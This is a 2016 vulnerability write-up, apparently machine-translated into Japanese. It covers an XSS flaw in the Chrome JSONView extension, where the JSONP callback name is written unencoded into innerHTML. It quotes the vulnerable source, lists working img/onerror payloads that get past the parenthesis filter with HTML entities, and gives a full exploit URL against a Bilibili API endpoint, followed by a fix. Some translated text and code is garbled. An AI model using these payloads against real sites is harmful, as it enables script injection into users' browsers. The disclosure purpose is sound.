2016 年 4 月 28 日 - evi1m0
[+] Author: evi1m0[+] Team: n0tr00t security team [+] From: http://www.n0tr00t.com[+] Create: 2016-04-28
Github: https:// github.com/gildas-lormeau/JSONView-for-Chrome
ChromeStore: https://chrome.google.com/w…..bnpoihckbnefhakgolnmc?hl=en-US
JSONView プラグインは、現在最も人気のある開発者ツール プラグインであり、json データを表示するためのアーティファクトです。一般的に、json データは通常、書式設定されておらず、Unicode エンコードされておらず、インデントや改行などがないため、開発者にとっては読み取りが困難になります。 jsonview プラグインは、json データを自動的にトランスコード、インデント、書式設定し、書式設定されたデータを直接表示できるため、開発者はこの記事で問題となっているバージョンの JSONView プラグインを Chrome ブラウザで簡単に読み取ることができます。 Firefox 上のバージョンは影響を受けません。
開発者が JSONP コールバックを使用してクロスドメイン リクエストを行う場合、通常はフロントエンド呼び出しの便宜のためにコールバック名をカスタマイズ可能にすることがわかっています。 function? callback=jQuery14114 の場合、ページはコールバック パラメーター値をページに出力するため、コールバックによって引き起こされる多くのクロスサイト脆弱性が存在します。ほとんどの解決策には、URL 特殊文字のフィルター処理と Content-Type:application/ の厳密な定義が含まれます。レスポンスヘッダーのjson。
次の例は Bilibili API です:
http://api.bilibili.com/x/favourite/folder?callback=jQu%3Ch1%3E163&jsonp=jsonp&_=1461828995783
レスポンス ヘッダーは Content-Type タイプを json データ形式として厳密に定義しているため、エスケープされていないタグ コードを正常に挿入したにもかかわらず、まだ実行されないことがわかります (ChromeView-source In モードの場合)正常に解析されるとハイライトマークが付きます)、JSONView のストーリーもこの時点から始まります。
JSONView プラグインは次のように元の乱雑な JSON データを美しくできることを前述しました:
使用時JSONView プロセス中に、JSONView がデータを抽出してレンダリングしたため、存在しない抜け穴がここで再現されていることがわかりました。ここでは、Web サイトが Content-Type タイプを制限するが特殊文字はフィルタリングしないフィルタリングを使用するという前提があります。
その後のソース コード分析では、DOM を介してデータを挿入し、スクリプトを直接記述するとリソースが読み込まれないため、多くの方法を使用して悪意のある攻撃をトリガーできることがわかりました。コード:
1. <img src=@ onerror=alert(1)>2. <body onload=alert(1)>3. ...
テストに合格した後、パラメーターにスペースと括弧が含まれている限り、プラグインは JSON 結果を処理しなくなることがわかりました。データ分析は有効になっていますが、ブラック ボックスのテスト プロセスではスラッシュやその他のテクニックを使用して悪意のあるコードをロードしましたが、このプラグインがどのような処理を行うかを確認する必要があります。
ブレークポイント デバッグを通じて、innerHTML ファイルを見つけます: /master/WebContent/content.js
function displayUI(theme, html) { var statusElement, toolboxElement, expandElement, reduceElement, viewSourceElement, optionsElement, content = ""; content += '<link rel="stylesheet" type="text/css" href="' + chrome.runtime.getURL("jsonview-core.css") + '">'; content += "<style>" + theme + "</style>"; content += html; document.body.innerHTML = content; ....}function init(data) { port.onMessage.addListener(function(msg) { if (msg.oninit) { options = msg.options; processData(data); } if (msg.onjsonToHTML) if (msg.html) { displayUI(msg.theme, msg.html); } else if (msg.json) port.postMessage({ getError : true, json : json, fnName : fnName }); if (msg.ongetError) { displayError(msg.error, msg.loc, msg.offset); } }); port.postMessage({ init : true });}
displayUI 関数で innerHTML の操作を確認します。 document.body.innerHTML = content; エントリ file/JSONView-for-Chrome/blob/master/WebContent/background の jsonToHTML 関数を見てみましょう。 js 読み込み:
/master/WebContent/workerFormatter.js コードのコア部分を抽出します:
function htmlEncode(t) { return t != null ? t.toString().replace(/&/g, "&").replace(/"/g, """).replace(/</g, "<").replace(/>/g, ">") : '';}function decorateWithSpan(value, className) { return '<span class="' + className + '">' + htmlEncode(value) + '</span>';}function jsonToHTML(json, fnName) { var output = ''; if (fnName) output += '<div class="callback-function">' + fnName + '(</div>'; output += '<div id="json">'; output += valueToHTML(json); output += '</div>'; if (fnName) output += '<div class="callback-function">)</div>'; return output;}addEventListener("message", function(event) { var object; try { object = JSON.parse(event.data.json); } catch (e) { postMessage({ error : true }); return; } postMessage({ onjsonToHTML : true, html : jsonToHTML(object, event.data.fnName) });}, false);
そして html: jsonToHTML(object,event.data.fnName) イベントの下のブレークポイントをトレースし、fnName/master/WebContent/content.js の割り当てコードを見つけます:
function extractData(rawText) { var tokens, text = rawText.trim(); function test(text) { return ((text.charAt(0) == "[" && text.charAt(text.length - 1) == "]") || (text.charAt(0) == "{" && text.charAt(text.length - 1) == "}")); } if (test(text)) return { text : rawText, offset : 0 }; tokens = text.match(/^([^\s\(]*)\s*\(([\s\S]*)\)\s*;?$/); if (tokens && tokens[1] && tokens[2]) { if (test(tokens[2].trim())) return { fnName : tokens[1], text : tokens[2], offset : rawText.indexOf(tokens[2]) }; }}
extractData関数では、fnName の割り当てを見つけた後、トークンは規則に従って解析する必要がある fnName、テキスト、およびその他の値を取得します。つまり、この規則性により、テキストに一致するためかっこを挿入することができなくなります。 🎜>
0x05 テスト コードを実行します
1. <img/src='@'/onerror=alert(window.location)>2. <img/src='@'/onerror=alert(window.location)>3. <img/src='@'/onerror=%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E>4. http://api.bilibili.com/x/favourite/folder?callback=jQu11111%3Cimg/src=%27@%27/onerror=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B%26%2340%3B%26%23119%3B%26%23105%3B%26%23110%3B%26%23100%3B%26%23111%3B%26%23119%3B%26%2346%3B%26%23108%3B%26%23111%3B%26%2399%3B%26%2397%3B%26%23116%3B%26%23105%3B%26%23111%3B%26%23110%3B%26%2341%3B%3E765386356466327_1461828974439&jsonp=jsonp&_=1461828995783
0x06 修復ソリューション
function jsonToHTML(json, fnName) { var output = ''; if (fnName) output += '<div class="callback-function">' + htmlEncode(fnName) + '(</div>'; output += '<div id="json">'; output += valueToHTML(json); output += '</div>'; if (fnName) output += '<div class="callback-function">)</div>'; return output;}